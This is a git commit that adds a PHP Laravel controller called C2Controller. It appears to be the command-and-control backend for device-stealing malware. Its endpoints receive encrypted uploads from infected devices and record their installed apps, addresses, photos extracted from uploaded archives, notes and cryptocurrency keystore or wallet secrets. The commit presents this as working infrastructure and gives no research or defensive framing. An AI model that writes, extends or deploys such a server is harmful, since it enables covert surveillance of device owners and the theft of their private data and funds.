init
This commit is contained in:
@@ -0,0 +1,198 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Services\CorunaArchive;
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\IngestService;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class C2Controller extends Controller
|
||||
{
|
||||
/** @var CorunaCrypto */
|
||||
private $crypto;
|
||||
|
||||
/** @var CorunaArchive */
|
||||
private $archive;
|
||||
|
||||
/** @var IngestService */
|
||||
private $ingest;
|
||||
|
||||
public function __construct(CorunaCrypto $crypto, CorunaArchive $archive, IngestService $ingest)
|
||||
{
|
||||
$this->crypto = $crypto;
|
||||
$this->archive = $archive;
|
||||
$this->ingest = $ingest;
|
||||
}
|
||||
|
||||
public function query(): Response
|
||||
{
|
||||
return response('OK', 200)->header('Content-Type', 'text/plain');
|
||||
}
|
||||
|
||||
public function avatarSet(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function userGet(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestInstalledApps($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => null]);
|
||||
}
|
||||
|
||||
public function avatarPut(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestDeviceEvent($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function avatarStatus(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestAddresses($device, $payload);
|
||||
// keystore-ish blobs
|
||||
if (isset($payload['keystore']) || isset($payload['wallets']) || isset($payload['result'])) {
|
||||
$this->ingest->ingestWalletSecrets($device, $payload);
|
||||
}
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function status(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestAddresses($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function set(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestWalletSecrets($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function check(Request $request): Response
|
||||
{
|
||||
$deviceKey = $request->attributes->get('coruna_device_key')
|
||||
?: $request->input('d')
|
||||
?: $request->input('f');
|
||||
$device = $this->ingest->upsertDevice(
|
||||
$request,
|
||||
array_filter(['d' => $deviceKey]),
|
||||
$deviceKey ? (string) $deviceKey : null
|
||||
);
|
||||
|
||||
$batchBase = (string) ($request->input('batchBase')
|
||||
?? $request->input('batch_base')
|
||||
?? $request->input('base')
|
||||
?? '0');
|
||||
if ($batchBase === '') {
|
||||
$batchBase = '0';
|
||||
}
|
||||
|
||||
$counters = [
|
||||
'count' => $request->input('count'),
|
||||
'total' => $request->input('total'),
|
||||
'index' => $request->input('index'),
|
||||
'batchBase' => $batchBase,
|
||||
];
|
||||
|
||||
$attachmentRel = null;
|
||||
if ($request->hasFile('file') && $device) {
|
||||
$bytes = file_get_contents($request->file('file')->getRealPath());
|
||||
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
||||
$extracted = $this->archive->extract($bytes, $work, $batchBase);
|
||||
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
|
||||
Storage::disk('local')->makeDirectory($attachmentRel);
|
||||
if (! empty($extracted['files'])) {
|
||||
$this->ingest->ingestPhotos($device, $extracted['files'], $counters);
|
||||
}
|
||||
create_log([
|
||||
'event' => 'check_extract',
|
||||
'device_key' => $device->device_id,
|
||||
'attachment_path' => $attachmentRel,
|
||||
'extract' => [
|
||||
'ok' => $extracted['ok'],
|
||||
'files' => array_map('basename', $extracted['files']),
|
||||
'password_recipe' => $extracted['password_recipe'],
|
||||
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
||||
],
|
||||
'counters' => $counters,
|
||||
], 'c2');
|
||||
}
|
||||
|
||||
// Prefer encrypted ack (clients that expect JSON); fall back same as other routes
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function avatarPic(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device) {
|
||||
$this->ingest->ingestNotes($device, is_array($payload) ? $payload : null);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function profileNop(Request $request): Response
|
||||
{
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function linkConfigList(Request $request): Response
|
||||
{
|
||||
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => []]);
|
||||
}
|
||||
|
||||
public function linkConfigIcon(Request $request): Response
|
||||
{
|
||||
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => null]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param mixed $data
|
||||
*/
|
||||
private function encryptedAck($data = null): Response
|
||||
{
|
||||
if ($data === null) {
|
||||
$data = ['code' => 0, 'msg' => 'ok', 'data' => null];
|
||||
}
|
||||
$enc = $this->crypto->encryptJson($data);
|
||||
|
||||
return response($enc['body'], 200)
|
||||
->header('Content-Type', 'text/plain')
|
||||
->header('timestamp', $enc['timestamp']);
|
||||
}
|
||||
|
||||
}
|
||||
Reference in New Issue
Block a user